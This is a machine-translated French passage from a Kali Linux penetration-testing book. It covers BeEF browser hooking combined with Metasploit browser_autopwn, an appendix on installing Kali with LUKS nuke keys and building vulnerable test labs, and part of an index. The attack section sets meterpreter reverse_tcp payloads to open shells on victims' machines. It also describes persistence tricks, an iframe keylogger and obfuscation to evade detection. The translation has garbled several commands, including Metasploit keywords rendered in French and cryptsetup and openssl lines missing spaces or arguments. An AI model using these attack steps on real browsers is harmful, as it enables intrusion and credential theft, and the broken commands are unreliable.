[ 308 ] Dans BeEF, le testeur examine le journal de l'historique de l'attaque et peut en déduire le nom d'utilisateur et mot de passe du champ de données dans la colonne Résultats de la commande , comme indiqué dans le capture d'écran suivante : Intégration des attaques BeEF et Metasploit BeEF et Metasploit Framework ont tous deux été développés à l'aide de Ruby et peuvent opérer ensemble pour exploiter une cible. Parce qu'il utilise côté client et côté serveur empreintes digitales pour caractériser une cible, browser_autopwn est l'un des plus attaques réussies. Une fois la cible accrochée, démarrez la console Metasploit et configurez le attaque à l'aide des commandes suivantes : msf > utiliser auxiliaire/serveur/navigateur_autopwn auxiliaire msf (browser_autopwn) > définir LHOST 192.168.43.130 auxiliaire msf (browser_autopwn) > définir PAYLOAD_WIN32 windows/meterpreter/reverse_tcp auxiliaire msf (browser_autopwn) > définir PAYLOAD_JAVA java/meterpreter/reverse_tcp auxiliaire msf (browser_autopwn) > exploiter Attendez que tous les exploits pertinents aient fini de se charger. Dans l'exemple montré dans la capture d'écran suivante, 18 exploits sont chargés. Notez l'URL cible de l'attaque comme bien. Dans cet exemple, l'URL cible est http://192.168.43.130:8080/ICprp4Tnf4Z :
Chapitre 11 [ 309 ]
Page 326
Il existe plusieurs méthodes pour inciter un navigateur à cliquer sur une URL ciblée, cependant, si nous avons déjà accroché le navigateur cible, nous pouvons utiliser la fonction de redirection de BeEF . Dans le panneau de configuration BeEF, accédez à Navigateur | Domaine accroché | Navigateur de redirection . Lorsque vous y êtes invité, utilisez ce module pour pointer vers l'URL cible, puis exécutez l'attaque. Dans la console Metasploit, vous verrez les attaques sélectionnées être successivement lancé contre la cible. Une attaque réussie ouvrira une session Meterpreter, comme le montre la capture d'écran suivante : Pour voir la liste des sessions ouvertes avec la cible compromise, tapez sessions -l . Pour vous connecter de manière interactive à une session spécifique, par exemple, la session 1, tapez séances -i 1 . Utiliser BeEF comme proxy de tunneling Le tunneling est le processus d'encapsulation d'un protocole de charge utile dans une livraison protocole, comme IP. En utilisant le tunneling, vous pouvez transmettre des protocoles incompatibles à travers un réseau, ou vous pouvez contourner les pare-feu qui sont configurés pour bloquer un protocole particulier. BeEF peut être configuré pour agir comme un proxy de tunnel qui imite un proxy HTTP inversé : la session du navigateur devient le tunnel, et le hooké navigateur est le point de sortie. Cette configuration est extrêmement utile lorsqu'un réseau a été compromis car le proxy de tunneling peut être utilisé pour :
• Parcourir les sites authentifiés dans le contexte de sécurité (certificats SSL côté client, cookies d'authentification, hachages NTLM, etc.) du navigateur de la victime • Spider le domaine accroché en utilisant le contexte de sécurité du navigateur de la victime • Faciliter l'utilisation d'outils tels que l'injection SQL Page 327
Exploitation côté client [ 310 ] Pour utiliser le proxy tunneling, sélectionnez le navigateur hooké que vous souhaitez cibler et faites un clic droit sur son adresse IP. Dans la fenêtre contextuelle, comme illustré dans la capture d'écran suivante, sélectionnez l' option Utiliser comme proxy : Configurez un navigateur pour utiliser le proxy de tunneling BeEF en tant que proxy HTTP. Par défaut, l'adresse du proxy est 127.0.0.1 et le port est 6789. Si vous visitez un site Web ciblé à l'aide du navigateur configuré comme proxy HTTP, tous les paires requête/réponse brutes seront stockées dans la base de données BeEF, qui peut être analysés en naviguant vers Rider | Historique (un extrait du journal est affiché dans la capture d'écran suivante). Une fois l'attaque terminée, il existe des mécanismes pour s'assurer qu'un la connexion persistante est conservée, y compris : • Confirmer la fermeture : un module qui présente à la victime une confirmation de navigation - êtes-vous sûr de vouloir laisser cette page pop-up lorsqu'ils essaient de fermer un onglet. Si l'utilisateur choisit de quitter cette page , celle-ci ne sera pas effective et le
La fenêtre contextuelle Confirmer la navigation continuera à se présenter. • Module pop-under : il est configuré pour s'exécuter automatiquement dans config.yaml . Cette le module tente d'ouvrir une petite fenêtre pop-under pour garder le navigateur accroché si la victime ferme l'onglet principal du navigateur. Cela peut être bloqué par bloqueurs de pop-up. Page 328
Chapitre 11 [ 311 ] • Keylogger iFrame : réécrit tous les liens d'une page Web vers un iFrame superposition qui correspond à 100 pour cent de la hauteur et de la largeur de l'original. Pour efficacité maximale, il doit être attaché à un keylogger JavaScript. Idéalement, vous chargeriez la page de connexion du domaine accroché. • Man-in-the-browser : Ce module garantit que chaque fois que la victime clique sur n'importe quel lien, la page suivante sera également accrochée. Le seul moyen d'éviter ce comportement consiste à taper une nouvelle adresse dans la barre d'adresse. Enfin, bien que BeEF propose une excellente série de modules pour effectuer les reconnaissance, ainsi que les phases d'exploitation et de postexploitation de la chaîne de destruction, la les activités par défaut connues de BeEF (/hook.js et en-têtes de serveur) sont utilisées pour détecter les attaques, ce qui réduit son efficacité. Les testeurs devront masquer leurs attaques
en utilisant des techniques telles que l'encodage Base64, l'encodage des espaces blancs, la randomisation variables et en supprimant les commentaires pour garantir une efficacité totale à l'avenir. Sommaire Dans ce chapitre, nous avons examiné les attaques contre des systèmes généralement isolés à partir de réseaux protégés. Ces attaques côté client se concentrent sur les vulnérabilités dans applications spécifiques. Nous avons examiné les scripts hostiles, en particulier VBScript et PowerShell, qui sont particulièrement utiles pour tester et compromettre les réseaux Windows. Nous avons ensuite examiné le Cross-Site Scripting Framework, qui peut compromettre XSS vulnérabilités, ainsi que l'outil BeEF, qui cible les vulnérabilités dans un navigateur. XSSF et BeEF s'intègrent tous deux à la reconnaissance, l'exploitation et outils de post-exploitation sur Kali pour fournir des platesformes d'attaque complètes. Ce chapitre conclut Maîtriser Kali Linux pour les tests d'intrusion avancés . Nous espérons que ce livre vous a aidé à comprendre comment les attaquants utilisent les outils tels que Kali pour compromettre les réseaux, et comment vous pouvez utiliser les mêmes outils pour comprendre les vulnérabilités de votre réseau et les arbitrer avant les vôtres le réseau est compromis. Page 329
Installation de Kali Linux
Page 330
Kali Linux est un système d'exploitation basé sur Linux qui agit comme une plate-forme pour prendre en charge plusieurs centaines d'applications différentes utilisées pour auditer la sécurité d'un réseau. Sa complexité n'a d'égale que la diversité des méthodes pour l'installer et l'utiliser lors de essai. Ce chapitre traitera de certaines des considérations à prendre en compte lorsque l'installation de Kali, et se concentrera sur la façon d'obtenir une machine virtuelle sécurisée et courir le plus vite possible. Il examinera également comment mettre en place et maintenir un site peu coûteux pour tester le matériel couvert dans ce livre. Téléchargement de Kali Linux Il existe plusieurs options pour télécharger et installer Kali Linux. À l'époque de cette publication, la version la plus récente est la version 1.06 ; cependant, la version 1.07 est dû pour une libération imminente. La version actuelle est disponible sur le site officiel ( www.kali.org/downloads/ ) dans les compilations 32 et 64 bits. Offensive Security a créé la version préconfigurée d' Advanced RISC Machines ( ARM ), processeurs (par exemple, Galaxy Note 10.1, Raspberry Pi et Chromebooks Samsung) disponibles en téléchargement ; ARMEL et ARMHL les plates-formes sont prises en charge. De plus, des images VMware prédéfinies sont également disponibles en ligne sur http://www.offensive-security.com/kali-llnuxvmware-armtéléchargement d'images/ .
Installation de Kali Linux
Page 331
[ 314 ] Après avoir téléchargé l'image appropriée, assurez-vous que la somme de contrôle SHA1 fichier a été généré par Kali (il sera signé à l'aide de la clé de cryptage officielle de Kali, qui est disponible en ligne pour vérifier l'authenticité du téléchargement), et inspectez le Somme de contrôle SHA1 pour vérifier l'intégrité de l'image. Des outils de vérification sont intégrés Systèmes d'exploitation Linux et OSX ; cependant, vous devrez utiliser un outil tiers tels que hashtab ( http://www.implbits.com/HashTab/HashTabWindows.aspx ) pour Systèmes d'exploitation Windows. Si vous souhaitez créer une version personnalisée de Kali, en particulier une version proposant une alternative desktop ou toolset, vous pouvez utiliser les scripts live-build disponibles sur http://docs. kali.org/live-build/generate-updated-kali-iso . Installation de base de Kali Linux Une fois que vous avez obtenu une distribution appropriée de Kali Linux, il faut l'installer pour utilisation. Les options d'installation suivantes sont disponibles : • Installez sur un disque dur système i386, AMD64 ou ARM. Kali Linux sera le système d'exploitation hôte unique au démarrage de l'appareil. • Double amorçage d'un système. Habituellement, cette option est sélectionnée lors de l'utilisation d'un MS Système d'exploitation Windows. Pendant le démarrage, l'utilisateur a la possibilité de démarrer le système en tant que Kali Linux ou en tant que système d'exploitation Windows. Cela offre plus de flexibilité que d'installer Kali directement sur le disque dur ; Cependant, il
rend difficile le basculement entre les deux systèmes. • Installer directement sur un lecteur de DVD ou un périphérique USB. Ceci est particulièrement utile si le système hôte peut être configuré pour démarrer à partir du périphérique USB ; cependant, des modifications de configuration supplémentaires sont nécessaires si le périphérique USB doit être persistant (contient toutes les modifications apportées au système d'exploitation basé, aux applications, et les données qui sont faites pendant le processus de test). • Installer en tant que machine virtuelle à l'aide de produits tels que VMware ou VirtualBox. Nous ont trouvé qu'il s'agissait de l'option la plus flexible pour prendre en charge les tests d'intrusion. • Kali prend en charge deux types d'installations réseau : l'installation mini ISO et la installation du réseau PXE . La mini ISO installe une distribution Kali tronquée sur un système et s'appuie ensuite sur une connexion réseau rapide pour installer le reste des applications nécessaires pour un produit final efficace. Le réseau PXE l'installation prend en charge les terminaux (pas de CD-ROM et pas de ports USB) pendant la processus de démarrage, obtenir les informations d'adresse IP et installer Kali. • Kali peut désormais être utilisé à partir du cloud : une image minimale de 64 bits de Kali est disponible sur la place de marché Amazon EC2 ( https://aws.amazon.com/ place de marché/pp/B00HW50E0M ). L'image de Kali est gratuite et les utilisateurs ne sont que facturés pour une utilisation normale d'AWS. Page 332
annexe [ 315 ] En raison de la réglementation d'Amazon, cette version de Kali n'utilise pas le compte root par défaut. Une fois que vous avez obtenu votre clé SSH de Amazon, vous devez vous connecter à l'instance Kali en tant qu'utilisateur, puis sudo à root. Vous devrez peut-être télécharger des outils supplémentaires pour prendre en charge essai. Enfin, vous devez informer Amazon qu'il est utilisé pour des tests de sécurité légitimes et non comme un outil d'attaque. Installer Kali Linux sur une machine virtuelle Dans ce livre, Kali a été configuré comme une machine virtuelle ( VM ). Une machine virtuelle a le avantages suivants lorsqu'il est utilisé pour les tests d'intrusion : • Une VM de test commune peut être développée et maintenue, garantissant que les testeurs sont familiers avec l'ensemble d'outils et leur impact sur les systèmes cibles typiques. • Les machines virtuelles facilitent la commutation rapide entre les systèmes d'exploitation hôte et invité, permettant au testeur de se déplacer entre les plates-formes Windows et Linux afin pour trouver la combinaison optimale d'outils pour les tests. • Les machines virtuelles sont mobiles : elles peuvent être déplacées vers différents systèmes et plates-formes. • Les machines virtuelles peuvent être conservées dans une bibliothèque pour faciliter les tests de régression. Après un ensemble d'outils a été utilisé pour valider la sécurité d'un réseau ou d'un système, les testeurs sont souvent demandé si leur méthodologie et leurs outils auraient détecté un
vulnérabilité présente au moment du test. Les testeurs peuvent revenir en arrière et retester pour la vulnérabilité en utilisant la VM archivée pour déterminer si elle aurait été détecté ou que le réseau risquait d'être attaqué. Bien que des machines virtuelles prédéfinies soient disponibles en téléchargement, la plupart des testeurs créent leurs propres en utilisant des images ISO validées (le processus d'installation de Kali sur une machine virtuelle est presque identique pour l'installer sur un disque dur ou un support, comme une clé USB). Kali prend en charge les deux Machines virtuelles VMware et Oracle VirtualBox. En général, le processus est simple et guidé par des assistants d'application qui marchent vous tout au long du processus. Lors de l'utilisation de VMware, par exemple, le processus être comme suit : 1. Sélectionnez l' icône Créer une nouvelle machine virtuelle pour créer une nouvelle machine virtuelle. 2. Choisissez de créer la VM à l'aide d'une image ISO. 3. Sélectionnez le système d'exploitation invité. 4. Définissez le nom et l'emplacement de l'image ISO. Page 333
Installation de Kali Linux [ 316 ] 5. Définissez l'espace disque ; le minimum utilisé doit être de 12 Go, mais mettre de côté au moins 20-25 Go. Un minimum de 1 Go de mémoire doit être mis à la disposition de la VM ; cependant, si vous testez un grand réseau et que vous utiliserez le multithread outils, vous pouvez augmenter ce nombre à au moins 3 Go. 6. Vérifiez la configuration matérielle.
Assurez-vous que la machine virtuelle est configurée pour être visible uniquement par l'hôte système d'exploitation, surtout s'il n'a pas été mis à jour. Si vous êtes configuration d'une VM à utiliser comme cible, sachez que si elle est visible par le Internet, votre plateforme de test peut être compromise par un attaquant externe. 7. Démarrez la machine virtuelle. Le menu de démarrage proposera plusieurs options ; sélectionner Installation graphique . 8. Suivez les invites pour sélectionner la langue normale, le fuseau horaire, le nom d'hôte, et définissez le mot de passe root. 9. Lors de la configuration de la partition de disque, et si vous n'utilisez pas l'option de double démarrage, vous pouvez définir la partition complète comme disque virtuel. Il est recommandé que vous sélectionnez cette option pour le chiffrement complet du disque à ce stade. 10. L'application VM terminera le partitionnement, écrira les modifications dans le disque, puis installez les fichiers système. Après avoir demandé quelques informations supplémentaires informations de configuration, la VM va redémarrer. 11. À ce stade, le système est sous tension. Configurer pour prendre en charge les tests d'intrusion en tant que décrit au chapitre 1 , Démarrer avec Kali Linux . Les distributions préconfigurées de Kali reposent généralement sur la valeur par défaut nom d'utilisateur et mot de passe et peut avoir un hôte SSH prégénéré clés. Ceux-ci doivent être changés dès que possible. Chiffrement complet du disque et nuking de la clé principale
Les testeurs d'intrusion ont généralement en leur possession des informations sensibles - un un test réussi peut révéler des failles dans le réseau d'un client, et même les outils utilisés effectuer un test d'intrusion peut être considéré comme illégal dans certaines juridictions. Par conséquent, les testeurs sécurisent fréquemment leurs systèmes à l'aide d'un cryptage complet du disque. Lors de la phase de partitionnement de l'installation sur un disque dur ou une machine virtuelle, Kali peut être configuré pour utiliser le chiffrement intégral du disque à l'aide d'une combinaison de volume logique Management ( LVM ) et Linux Unified Key Setup ( LUKS ), qui est le application standard pour le cryptage de disque dur Linux. Ceci est montré dans le capture d'écran suivante : Page 334
annexe [ 317 ] L'accès au lecteur crypté nécessite une phrase secrète et il est recommandé de la phrase secrète a une longueur de 20 caractères ou plus. Malheureusement, étant donné la l'émergence récente de la surveillance parrainée par l'État, on craint que les testeurs pourraient être obligés de donner leur mot de passe à un agent du gouvernement, en supprimant le avantages du cryptage. La solution consiste à fournir une phrase de passe qui annulera ou détruira la clé principale. Cela garantira la confidentialité, rendant impossible le décryptage du disque.
Cette capacité a été récemment ajoutée à la version 1.06 de Kali Linux. Kali Linux intègre LUKS, qui est un cryptage indépendant de la plate-forme spécification qui permet à un utilisateur de chiffrer des partitions sur un disque dur. LUKS permet plusieurs clés utilisateur pour déchiffrer la clé principale, permettant à plusieurs utilisateurs de chiffrer et décrypter les données, et permet l'utilisation de clés de sauvegarde. Lorsqu'un conteneur chiffré LUKS est créé, une clé principale aléatoire est générée. Cette clé principale est chiffrée à l'aide de la phrase secrète. L'avantage de cette approche est que la phrase secrète n'est pas directement liée aux données - si deux volumes identiques sont crypté et que la même phrase secrète est utilisée, les clés principales restent uniques à leur volume et ne peut pas être échangé. Page 335
Installation de Kali Linux [ 318 ] Cela signifie que si la clé principale est perdue ou détruite, il est impossible de récupérer les données cryptées. Cette propriété nous permet de neutraliser la récupération d'un fichier crypté volume ou disque dur en effaçant délibérément la clé principale si une phrase secrète spécifique est saisi. La fonctionnalité d'autodestruction d'urgence a été ajoutée à Kali Linux version 1.06 et peut être implémenté à l'aide de l'utilitaire cryptsetup. Pour utiliser la fonctionnalité nucléaire :
1. Installez Kali avec l' option Full Disk Encryption . Avant l'installation de Kali, tous les partitions seront effacées ; cela entraînera une installation lente. 2. Vérifiez les informations d'en-tête LUKS pour le disque dur crypté à l'aide du commande suivante : root@kali:~# cryptsetup luksDump /dev/sda5 L'emplacement de clé 0 , associé au mot de passe pour le chiffrement du disque, est activé. Les emplacements de clé restants sont inutilisés. L'exécution de la commande précédente est donné dans la capture d'écran suivante : Page 336
annexe [ 319 ] 3. Ajoutez la clé Nuke à l'aide de la commande suivante : root@kali:~# cryptsetup luksAddNuke /dev/sda5 Le système vous demandera la phrase secrète existante pour valider l'identité puis vous demandera la nouvelle phrase secrète à utiliser pour l'option nuke. Attention, cela n'invite pas l'utilisateur à répéter la phrase secrète deux fois dans afin de se prémunir contre une erreur lors de l'entrée. L'exécution du précédent La commande est illustrée dans la capture d'écran suivante : 4. Pour confirmer que la clé nucléaire a été activée, consultez la liste des emplacements de clé, à l'aide de la commande illustrée dans la capture d'écran suivante : L'emplacement de clé 1 est maintenant activé ; il contient la clé nucléaire. 5. Sauvegardez les clés à l'aide de la commande suivante :
root@kali:~# cryptsetupluksHeaderBackup --header-backupfile /dev/sda5 Page 337
Installation de Kali Linux [ 320 ] 6. Une fois le fichier de clé principale sauvegardé, cryptez-le et transférez-le hors du système de stockage sécurisé. Plusieurs applications sont disponibles pour le cryptage (par exemple, 7 Zip, bcrypt, ccrypt et GnuPG), ou vous pouvez utiliser un commande telle que openssl . Voici un exemple de commande : root@kali:~# opensslenc -aes-256-cbc -salt -in -out Une fois le fichier de sauvegarde sécurisé, votre système est protégé contre extraction forcée du mot de passe. Si le mot de passe nucléaire est entré, la copie locale de la clé principale sera détruite, rendant impossible l'accès au fichiers cryptés. Si vous videz les en-têtes LUKS après avoir émis le mot de passe nuke, vous verrez une sortie comme indiqué dans la capture d'écran suivante : Et si vous vouliez restaurer un disque que vous avez été forcé de détruire ? Tant que tu peut récupérer l'en-tête crypté à partir de l'emplacement de stockage distant, il s'agit d'un simple question; vous pourrez décrypter le disque dur et récupérer vos données. Une fois la l'en-tête chiffré a été déchiffré (à l'aide de la commande de déchiffrement appropriée
en fonction de la méthode utilisée pour protéger le fichier), saisissez la commande suivante : root@kali:~# cryptsetupluksHeaderRestore --header-backupfile /dev/sda5 Page 338
annexe [ 321 ] Cela générera l'avertissement suivant : Le périphérique /dev/sda5 contient déjà l'en-tête LUKS, le remplacement de l'en-tête sera détruire les emplacements de clés existants. Es-tu sûr? Lorsque vous y êtes invité, tapez OUI . Cela remplacera l'en-tête et vous permettra de décrypter le disque dur. Mise en place d'un environnement de test Avant de tester un environnement de production, il est important que le testeur comprendre comment utiliser les outils de test, l'impact qu'ils auront sur la cible système, et comment interpréter les données par rapport aux activités menées contre la cible. Les tests d'environnements contrôlés produisent fréquemment des résultats différents de mêmes tests lorsqu'ils sont exécutés sur un système de production pour plusieurs raisons, notamment ce qui suit: • Le système d'exploitation de l'environnement cible diffère du système d'exploitation système dans l'environnement de test, y compris les différentes versions du système d'exploitation système. (XP est clairement différent de Windows 8.1, mais il y a aussi
différences entre les versions de Windows 8.1 Pro et Enterprise ou entre système d'exploitation 32 bits et 64 bits.) Modifications du système d'exploitation pour soutenir les langues locales peut également avoir un impact significatif sur la présence de vulnérabilités. • L'environnement cible a différents service packs, correctifs ou mises à niveau appliquées. • L'environnement cible possède différentes applications tierces installées ; ces peut entrer en conflit avec le trafic réseau, introduire de nouvelles vulnérabilités ou affecter un capacité du testeur à exploiter les vulnérabilités existantes. • Les cibles configurées en tant que machines virtuelles dans un environnement hôte peuvent réagir différemment des systèmes cibles installés directement sur le métal nu. • Les cibles sont protégées par divers périphériques réseau et système et candidatures. Pour obtenir les meilleurs résultats possibles, les testeurs (et les attaquants) utilisent généralement un étape du processus de test. Les testeurs effectuent d'abord l'attaque à l'aide d'un environnement virtuel bien défini machine (telle que Windows XP) pour déterminer les outils d'attaque les plus efficaces et méthodologies; une fois ce cas de test simple prouvé, les testeurs revalident l'attaque en utilisant un réseau virtuel ou physique plus complexe qui reflète le réseau cible le plus près possible.
Installation de Kali Linux
Page 339
[ 322 ] Systèmes d'exploitation vulnérables et applications Les testeurs maintiennent généralement une bibliothèque des systèmes d'exploitation actuels et historiques. Lors du test des systèmes d'exploitation Microsoft, WinXP est utilisé comme norme de référence pour tester les vulnérabilités. Bien que Windows XP sera obsolète en 2014 et ne sera plus supporté par Microsoft, il restera sur de nombreux réseaux en serveurs et postes de travail ainsi qu'intégrés dans des appareils tels que des imprimantes et des terminaux de point de vente. Lors du test de systèmes d'exploitation Windows vulnérables, un abonnement à MSDN ( http://msdn.microsoft.com/en-ca/subscriptions/aa336858 ) est inestimable dans afin d'accéder aux produits Microsoft actuels à tester en laboratoire. N'utilisez pas de systèmes d'exploitation téléchargés à partir de fichiers publicsservices de partage tels que les sites Torrent. DigitalDefence récemment évalué 40 téléchargements de systèmes d'exploitation Microsoft à partir de Sites torrent : chaque téléchargement a été infecté par une porte dérobée vers permettre l'accès à distance à un attaquant. Pour tester les anciennes applications Windows tierces qui possèdent des vulnérabilités spécifiques, les testeurs peuvent accéder aux référentiels en ligne qui conservent les anciennes copies des applications ; de nombreux parmi celles-ci figurent des vulnérabilités exploitables. Des exemples de tels référentiels peuvent être vus aux liens suivants :
• http://www.oldapps.com • www.oldversion.com En raison de leur nature open source, plusieurs versions de systèmes d'exploitation de type Unix (Linux, BSD et Solaris) sont disponibles pour téléchargement et test. Les projets suivants vous permettront de tester les installations du système d'exploitation Unix avec vulnérabilités connues, vous pouvez accéder : • Maudit Linux vulnérable ( http://sourceforge.net/projects/ virtualhacking/files/os/dvl/ ) • LAMPSecurity ( http://sourceforge.net/projects/lampsecurity/ ) • Metasploitable2 ( http://sourceforge.net/projects/virtualhacking/ fichiers/os/metasploitable/ ) Les anciennes applications Unix avec des vulnérabilités connues sont généralement disponibles pour télécharger sur le site de l'application. Page 340
annexe [ 323 ] Environnements complexes de test (système d'exploitation et applications vulnérables) peut être téléchargé à partir du référentiel VulnHub à l'adresse http://vulnhub.com . Ces les images sont généralement accompagnées de visites qui montrent différentes manières de exploiter les images. Certaines des images incluent les suivantes : • bWAPP : cela fournit plusieurs façons de dégrader un exemple de site Web • VulnVPN : Ceci permet au testeur d'exploiter le service VPN afin d'accéder
le serveur et les services internes et obtenir un accès root • VulnVoIP : Cela permet au testeur de pratiquer la reconnaissance et permet au exploitation d'un réseau VoIP Enfin, les testeurs voudront tirer parti de certaines des vulnérabilités Web applications disponibles pour les tests. L'une des cibles de test les plus courantes est l'image Linux appelée Metasploitable. Le système d'exploitation de base présente de multiples vulnérabilités ; en plus il charge applications Web vulnérables au démarrage. Pour accéder aux applications, ouvrez Metasploitable en tant que VM, puis démarrez une VM distincte avec Kali Linux. Dans le Kali VM, ouvrez un navigateur et saisissez l'adresse IP de la VM Metasploitable. Tu verras les options de menu, comme illustré dans la capture d'écran suivante : Page 341
Installation de Kali Linux [ 324 ] Les applications Web peuvent être utiles pour prendre en charge les tests d'entreprise ainsi que attaques spécifiques contre les applications Web. Les cinq candidatures sont les suivantes : • TWiki : Il s'agit d'une application wiki qui prend en charge la collaboration d'entreprise pendant le processus de test ; il utilise un contenu structuré pour créer des systèmes de flux de travail • phpmyadmin : Permet l'administration à distance des bases de données MySQL sur la toile
• webdav : Le Authoring and Versioning Web Distributed ensemble de extensions au protocole HTTP, qui permet aux utilisateurs d'éditer en collaboration et gérer les fichiers sur des serveurs Web distants • Mutillidae : Une application de piratage Web vulnérable composée de scripts PHP qui sont vulnérables aux 10 principales vulnérabilités de l'OWASP Comme vous pouvez le voir dans l'extrait d'écran suivant, les 10 principales vulnérabilités sont disponibles dans un menu déroulant. Par exemple, en sélectionnant l'option A2 - Cross Site Scripting ( XSS ) vous donne accès à des sousmenus correspondant à types de vulnérabilités spécifiques ( Reflected , Persistent , DOM Injection , etc.). Page 342
annexe [ 325 ] La base de données spécifiée dans le fichier de configuration Mutillidae est incorrect, et vous pouvez recevoir plusieurs erreurs pour des opérations qui nécessitent un accès à la base de données. Pour les corriger, connectez-vous à Metasploitable2 et éditez le fichier /var/www/mutillidae/config.inc ; changer la champ dbname de metasploit à owasp10. • Enfin, le framework Metasploitable lance le Damn Vulnerable Web Application ( DVWA ) qui fournit un ensemble différent de défis à la pratique attaques contre des vulnérabilités spécifiques.
D'autres applications Web vulnérables qui ont été bien caractérisées comprennent ce qui suit: • Hackxor : Il s'agit d'un jeu de piratage d'applications Web qui oblige les joueurs à progresser à travers une histoire pour résoudre des défis liés à diverses vulnérabilités ( http://hackxor.sourceforge.net/cgi-bin/index.pl ). • Foundstone : Cela a publié une série d'applications Web vulnérables, y compris une banque, une librairie, un casino, une expédition et un site de voyage ( www.mcafee.com/us/downloads/free-tools/index.aspx ). • LAMPSecurity : fournit une série de machines virtuelles vulnérables conçues pour enseigner Linux, Apache, PHP et sécurité des bases de données ( http://sourceforge.net/ projets/lampsecurity/files/ ). Page 343
Installation de Kali Linux [ 326 ] • OWASP Broken Web Applications Project : il s'agit d'une collection de applications Web vulnérables ( http://code.google.com/p/owaspbwa/ ). • WebGoat : Il s'agit d'une application Web J2EE non sécurisée qui tente de fournir un environnement de test réaliste. Il est maintenu par l'OWASP ( https://www.owasp.org/index.php/Category:OWASP_WebGo at_Project ). • Web Security Dojo : Cette application de formation publiée par Maven Security
( https://www.mavensecurity.com/web_security_dojo/ ), contient plusieurs images cibles, y compris Damn Vulnerable Web App, Google Gruyère, Hackme's Casino, l'application Web non sécurisée de l'OWASP et WebGoat, le site Web de test de w3af et plusieurs cibles spécifiques aux vulnérabilités. Il contient également un ensemble d'outils pour soutenir l'exploitation.
Indice UNE accès maintenance, avec backdoors Web 254-256 point d'accès, communications sans fil clonage 224, 225 empreintes digitales actives 77 reconnaissance active environ 65, 66 services actifs, déterminant 79, 80 énumération des hôtes 75 infrastructure réseau, identification 73 système d'exploitation, empreintes digitales 77 analyse des ports 76 techniques de balayage furtif 66 Langage de script actif 286 services actifs bannière saisissant 79 ports et services par défaut, identifiant 79 pages Web par défaut, révision 79 déterminer 79 code source, révision 80 Outils d'emballage avancés (APT) environ 24
Page 344
apt-get dist-upgrade commande 25 commande de mise à jour apt-get 24 commande de mise à niveau apt-get 24 commandes 24 Machines RISC avancées (ARM) 313 site aircrack-ng 204 outils aircrack 209 commande airodump 206 détection antivirus contournement 110-117 attaques spécifiques aux applications environ 251 identifiants d'accès par force brute 251 attaques par injection, contre les bases de données 252-254 apt-file commande 36 apt-get dist-upgrade commande 25 commande de mise à jour apt-get 24 commande de mise à niveau apt-get 24 Arachnide 240 Vecteur d'attaque basé sur Arduino 175 Armitage utilisé, pour explorer plusieurs cibles 105, 106 utilisé, pour les tests en équipe 107, 108 Attaque d'Armitage script 108, 109 URL de l'attaquant, attaque d'ingénierie sociale obscurcissant 192, 193 En-tête d'authentification (AH) 278 jetons d'authentification identifiants d'accès, manipulation avec WCE 142 escalade, de l'administrateur au SYSTÈME 143 rejouer, incognito utilisé 140, 141
Adaptateurs AWUS036NH 204 B porte dérobée 149 RetourTrack 15 Identificateur d'ensemble de services de base (BSSID) 206 Du bœuf environ 171 299 schéma de codage couleur 304 configuration 300 installation 300 intégration 300-302
[ 328 ] intégration, avec Metasploit attaques 308, 309 tâches, exécution 299 en utilisant, comme proxy de tunneling 309-311 Navigateur BeEF Clippy 306 panneau de commande 303 aperçu 303, 304 joli vol 307 Queue de Bœuf 304 Belkasoft RAM capture 130 redirection de port bidirectionnel 167 Gestionnaire de démarrage (BUM) 27 Cadre d'exploitation de Brower. Voir Bœuf attaques par force brute 219, 222 identifiants d'accès par force brute 251 BT. Voir BackTrack Rot en utilisant 244 bWAPP 323 module de contournement 122
Page 345
C CeWL 260 commande check_connected 298 exploitation côté client environ 285 attaques, lancement à l'aide de VBScript 286-289 système, attaque à l'aide de scripts hostiles 286 systèmes, attaque à l'aide de Windows PowerShell 289-291 proxys côté client Burp Suite 243 OWASP ZAP 243 Paros 243 ProxyStrike 243 utilisé, pour la sécurité des tests 243-249 scanner de vulnérabilité Vega 243 WebScarab 243 systèmes côté client attaquant, scripts hostiles utilisés 286 attaquant, Windows PowerShell utilisé 289-291 Profileur de mot de passe utilisateur commun (CUPP) 61 communication sécurisation, Secure Shell utilisé 21, 22 applications de reconnaissance complètes employant 80 Maltego 85 nmap 81 Cadre de reconnaissance 82 système compromis reconnaissance rapide, conduite 122-127 confirmer le mécanisme de fermeture 310 Méthode d'attaque de la moissonneuse d'identifiants environ 174 en utilisant 186-188
Attaque de récolte d'identifiants 188 Script intersites. Voir XSS croquer 260 chat cryptique environ 158 en utilisant 158 utilitaire cryptsetup 318 commande csrf 298 personnalisations, Kali 25 CutyCapt 39 ré Bon sang Web vulnérable Demande (DVWA) 325 Système de gestion de paquets Debian environ 23 Outils d'emballage avancés (APT) utilisé 24, 25 Paquet 24 paquets 23 référentiels 23 Collecte d'informations sur la magie profonde Outil. Voir DMitry Zone démilitarisée (DMZ) 166 DHCP (configuration d'hôte dynamique protocole) 18 Algorithme Diffie-Hellman 269 Piratage de DLL 139 DMitry 80 Informations DNS IPv4 51 IPv6 53 en utilisant 50 DNS-Loadbalancing 74 Reconnaissance DNS cartographie d'itinéraire 47, 54-57
Page 346
[ 329 ] redirection DNS utilisé, pour l'escalade d'attaque 194 métadonnées du document environ 59 collectionner 59, 60 Courrier identifié par DomainKeys (DKIM) 50 Service de nom de domaine (DNS) 50 Attaques DoS environ 225 exemples 225, 226 Outil d'attaque DoS LOIC 250 Paquet 24 commutateur dsniff 173 fichiers de bibliothèque de liens dynamiques (DLL) 139 E Protocole de sécurité d'encapsulation (ESP) 278 dossier crypté créer, avec TrueCrypt 30-33 chiffrements de cryptage nul 269 fort 269 faible 269 Interrupteur Ettercap 173, 194 exécutables, attaque d'ingénierie sociale cacher 192 fichiers système et d'application existants compromettant, pour accès à distance 150 les fichiers système et applicatifs existants, compromettant Service Telnet, activation à distance 150-152 Virtual Network Computing, permettant
à distance 154, 155 Windows Terminal Services, permettant à distance 152, 153 Exploiter la base de données URL 94 phase d'exploitation environ 91 détection antivirus, contournant 110-117 ressources locales de vulnérabilité, en utilisant 93-97 ressources de vulnérabilité en ligne, utilisant 93, 94 modélisation des menaces 92 Identificateur d'ensemble de services étendu (ESSID) environ 207-210 capture 211 F fgdump 139 Norme de hiérarchie des systèmes de fichiers (FHS) 16 Pierre de fondation 325 chiffrement complet du disque en utilisant 316, 320 g Injection XSS générique 294 commande gnome-tweak-tool 36 GoLismero 240 google dorks 46 GoToMyPC 264 H Hackxor 325 hashtab 314 Identificateur d'ensemble de services caché contournement 209 plug-in de liste d'ruches 132 hobocopie 139 crochet 299 escalade horizontale
